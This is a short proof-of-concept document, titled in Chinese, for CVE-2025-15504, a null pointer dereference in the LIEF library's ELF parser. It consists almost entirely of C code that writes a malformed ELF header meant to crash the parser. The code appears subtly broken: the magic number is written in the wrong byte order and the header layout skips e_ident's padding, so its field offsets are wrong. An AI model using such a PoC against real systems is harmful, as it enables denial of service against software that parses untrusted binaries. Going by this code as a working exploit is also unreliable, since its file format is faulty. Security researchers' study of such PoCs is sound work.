CVE-2025-15504 LIEF项目ELF解析器空指针解引用漏洞

// PoC for CVE-2025-15504: Null Pointer Dereference in LIEF ELF Parser // This PoC creates a malformed ELF file that triggers the vulnerability #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // ELF magic number #define ELF_MAGIC 0x7F454C46 // ELF header structure (simplified) typedef struct { uint32_t e_ident_magic; uint8_t e_ident_class; uint8_t e_ident_data; uint8_t e_ident_version; uint8_t e_ident_osabi; uint8_t e_ident_abiversioin; uint16_t e_type; uint16_t e_machine; uint32_t e_version; uint64_t e_entry; uint64_t e_phoff; uint64_t e_shoff; uint32_t e_flags; uint16_t e_ehsize; uint16_t e_phentsize; uint16_t e_phnum; uint16_t e_shentsize; uint16_t e_shnum; uint16_t e_shstrndx; } Elf64_Ehdr; void create_malformed_elf(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) { printf("Failed to create file\n"); return; } Elf64_Ehdr ehdr = {0}; // Set ELF magic number ehdr.e_ident_magic = ELF_MAGIC; ehdr.e_ident_class = 2; // 64-bit ehdr.e_ident_data = 1; // Little endian ehdr.e_ident_version = 1; ehdr.e_ident_osabi = 0; // Set specific values to trigger the vulnerability ehdr.e_type = 2; // ET_EXEC ehdr.e_machine = 62; // EM_X86_64 ehdr.e_version = 1; // Set section header table values that may cause null pointer dereference ehdr.e_shoff = 0x1000; // Section header table offset ehdr.e_shnum = 0xFFFF; // Large number of sections ehdr.e_shentsize = 64; ehdr.e_shstrndx = 0xFFFE; // Invalid string table index // Write malformed ELF header fwrite(&ehdr, sizeof(Elf64_Ehdr), 1, fp); fclose(fp); printf("Malformed ELF file created: %s\n", filename); } int main() { const char* poc_file = "poc_cve_2025_15504.elf"; create_malformed_elf(poc_file); printf("\nUsage: Parse this file with vulnerable LIEF version\n"); printf("The malformed ELF header will trigger null pointer dereference\n"); return 0; }